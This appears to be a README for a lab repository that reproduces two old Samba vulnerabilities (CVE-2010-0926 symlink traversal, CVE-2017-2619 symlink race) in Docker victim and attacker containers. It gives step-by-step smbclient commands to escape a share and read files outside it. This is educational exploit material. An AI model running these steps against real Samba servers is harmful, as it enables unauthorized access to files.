This repo contains proof of concept exploits for 2 CVEs on old versions of samba.
For each CVE, there are two docker containers: victim
and attacker
.
More on mitre: CVE-2010-0926
Category: CWE-22 Path Traversal
Vulnerable version: samba-3.4.5
Exploit was taken from: https://www.exploit-db.com/exploits/33599
Another guide that helped me in creating this one: https://github.com/roughiz/Symlink-Directory-Traversal-smb-manually
victim
container containssamba-3.4.5
, which was built from the sources, and configured to have two shares:public
andprivate
attacker
container contains patched version ofsamba-3.4.5
client, which allows creating symlinks to outside of a share
-
Pull the needed images from dockerhub
docker pull kezzyhko/cve-2010-0926_victim
docker pull kezzyhko/cve-2010-0926_attacker
-
Run the vulnerable server
docker run -it --name cve-2010-0926_victim kezzyhko/cve-2010-0926_victim
You may see no sign of anything happening, but that's ok,smbd
should have started working in the background -
Find out the server container's ip
docker inspect -f '{{range.NetworkSettings.Networks}}{{.IPAddress}}{{end}}' cve-2010-0926_victim
Remember it, we will need it to connect to the server -
Run the attacker container
docker run -it --name cve-2010-0926_attacker kezzyhko/cve-2010-0926_attacker
-
In the attacker container, connect to the server as a guest using
smbclient
smbclient -N \\\\<ip>\\public
Note, that\
characters are repeated twice, because they need to be escaped -
Create the symlink to the root (or any other folder outside share)
symlink / rootfs
-
Finally, get the secret from the private share
cd rootfs
cd private
get secret.txt
exit
cat secret.txt
You should see the following string:You f0und 7he s3cret!
More on mitre: CVE-2017-2619
Categories: CWE-59 Link Following and CWE-362 Race Condition
Vulnerable version: samba-4.5.2
Exploit was taken from: https://www.exploit-db.com/exploits/41740
victim
container contains:samba-4.5.2
, which was built from the sources- configuration to have
public
share \secret
- file inside the root directory
attacker
container contains patched version ofsamba-4.5.2
client. Patch adds two commands tosmbclient
:rename_loop <src1> <src2> <dest>
- infinite loop, which renames<src*>
to<dest>
and then back, so that<dest>
will constantly switch between being<src1>
and<src2>
dump <file>
- infinite loop, which constantly tries to output<file>
's contents and ignores errors
-
Pull the needed images from dockerhub
docker pull kezzyhko/cve-2017-2619_victim
docker pull kezzyhko/cve-2017-2619_attacker
-
Run the vulnerable server
docker run -it --name cve-2017-2619_victim --cap-add=SYS_PTRACE --security-opt seccomp=unconfined kezzyhko/cve-2017-2619_victim
Here we need to supply additional parameters to be able to usestrace -p
later.
You may see no sign of anything happening, but that's ok,smbd
should have started working in the background. -
Find out the server container's ip
docker inspect -f '{{range.NetworkSettings.Networks}}{{.IPAddress}}{{end}}' cve-2017-2619_victim
Remember it, we will need it to connect to the server -
Renaming side of the attack
-
Run the first attacker container
docker run --rm -it --name cve-2017-2619_attacker_1 kezzyhko/cve-2017-2619_attacker
-
In the
attacker_1
container, create an empty file, we will need it later
touch empty
-
Connect to the server as a guest using
smbclient
smbclient -N \\\\<ip>\\public
Note, that\
characters are repeated twice, because they need to be escaped -
Enable posix features
posix
-
Create the symlink to the root directory
symlink / link
-
Create the normal directory
mkdir dir
-
Create the empty file inside the normal directory, and name it
secret
put empty dir/secret
-
Start the renaming loop
rename_loop link dir switching
-
-
Reading side of the attack
-
Run the second attacker container and connect to the server
docker run --rm -it --name cve-2017-2619_attacker_2 kezzyhko/cve-2017-2619_attacker
smbclient -N \\\\<ip>\\public
-
Inside the
attacker_2
container, start the reading loop
dump switching/secret
-
Some explanation
At this point, outattacker_2
client is reading fromswitching/secret
, which might be eitherlink/secret
ordir/secret
. Theoretically,smbd
on thevictim
container might check that reading fromswitching
is ok, since it is justdir
inside the share, but then ourattacker_1
will changeswitching
to be thelink
, andvictim
will read fromlink/secret
, which is equivalent to just/secret
outside thepublic
share.
However, it is not very likely for this to happen, and it may take a long time to wait. For the sake of PoC, we will slow down theattacker_2
-
find out the pid of
smbd
process, which handles theattacker_2
For this, runps aux
in thevictim
container. The pid we are looking for should be the largest pid withsmbd -D
command. -
Artificially slow down the process
strace -p<pid>
-
Now, look at the output in
attacker_2
process. You should see the following string:You f0und 7he s3cret!
-